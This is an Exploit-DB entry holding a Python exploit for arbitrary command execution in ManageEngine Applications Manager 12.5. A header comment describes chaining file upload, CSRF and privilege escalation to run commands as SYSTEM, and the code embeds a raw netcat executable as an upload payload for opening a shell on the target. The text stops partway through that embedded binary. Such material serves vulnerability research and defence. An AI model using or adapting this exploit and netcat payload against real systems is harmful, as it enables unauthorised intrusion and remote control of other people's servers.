Exploit-DB #39236
Description: Manage Engine Application Manager 12.5 - Arbitrary Command Execution
Type: webapps
Platform: multiple
Date: 2016-01-14
Author: Bikramaditya Guha

Exploit:
#!C:/Python27/python.exe -u
#
#
# Applications Manager 12.5 Arbitrary Command Execution Exploit
#
#
# Vendor: Zoho Corporation Pvt. Ltd.
# Product web page: https://www.manageengine.com
# Affected version: 12.5
#
# Summary: ManageEngine Applications Manager is an application performance
# monitoring solution that proactively monitors business applications and
# help businesses ensure their revenue-critical applications meet end user
# expectations. Applications Manager offers out-of-the-box monitoring
# support for 50+ applications and servers.
#
# Desc: Applications Manager suffers from arbitrary command execution. Attackers can exploit
# this issue using the Upload Files/Binaries feature and adding a command with respected
# arguments using a .bat file to given binary for execution. In combination with the CSRF,
# Privilege Escalation, Arbitrary exe and bat file creation and executing system commands
# with SYSTEM privileges.
#
# Tested on: Apache-Coyote/1.1
#			 PostgreSQL
#
# Vulnerability discovered by Bikramaditya 'PhoenixX' Guha
#
# Zero Science Lab - http://www.zeroscience.mk
# Macedonian Information Security Research And Development Laboratory
#
#
# Advisory ID: ZSL-2016-5291
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5291.php
#
# Vendor: https://www.manageengine.com/products/applications_manager/download.html
#
#
# 25.10.2015
#
#

version = '12.5'

import itertools, mimetools, mimetypes
import cookielib, urllib, urllib2, sys
import logging, os, time, datetime, re
import requests, httplib

from colorama import Fore, Back, Style, init
from cStringIO import StringIO
from urllib2 import URLError

global payload, actionname, action, csrf, poc
poc = 'Since this is my first exploit, I would like to thank Gjoko, Ewerson and Sebastian for helping me out with my work. \nJust wanted you guys to know that all the help you offered was invaluable. I really could not have done it without you. \nCheers Guys.\n\n'
csrf = 'TOKEN'
actionname = 'TEST'
action = 'javascript:editUser'

#nc.exe payload
payload = '''MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode.\r\r
$\x00\x00\x00\x00\x00\x00\x00\xdai\x03\xce\x9e\x08m\x9d\x9e\x08m\x9d\x9e\x08m\x9d\x9b\x04\r\x9d\x9c\x08m\x9d\x9b\x04b\x9d\x8d\x08m\x9d\x8d\x00\x04\x9d\x94\x08m\x9d\x9e\x08l\x9d\xf9\x08m\x9d\x1d\x000\x9d\x9b\x08m\x9d\x9b\x042\x9d\xc9\x08m\x9d\x9b\x047\x9d\x9f\x08m\x9dRich\x9e\x08m\x9d\x00\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x03\x00T\xf2\xd2A\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x0f\x01\x0b\x01\x07
\x00\xa0\x00\x00\x00P\x00\x00\x00\x00\x00\x00\xc3J\x00\x00\x00\x10\x00\x00\x00\xb0\x00\x00\x00\x00@\x00\x00\x10\x00\x00\x00\x10\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x10\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\xd0\x00\x00\x3c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\xb1\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\xd0\x00\x00H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x00\x00\x8c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00n\x99\x00\x00\x00\x10\x00\x00\x00\xa0\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00`.rdata\x00\x00\xaa\'\x00\x00\x00\xb0\x00\x00\x000\x00\x00\x00\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00@.data\x00\x00\x00\x04\x1e\x00\x00\x00\xe0\x00\x00\x00\x10\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0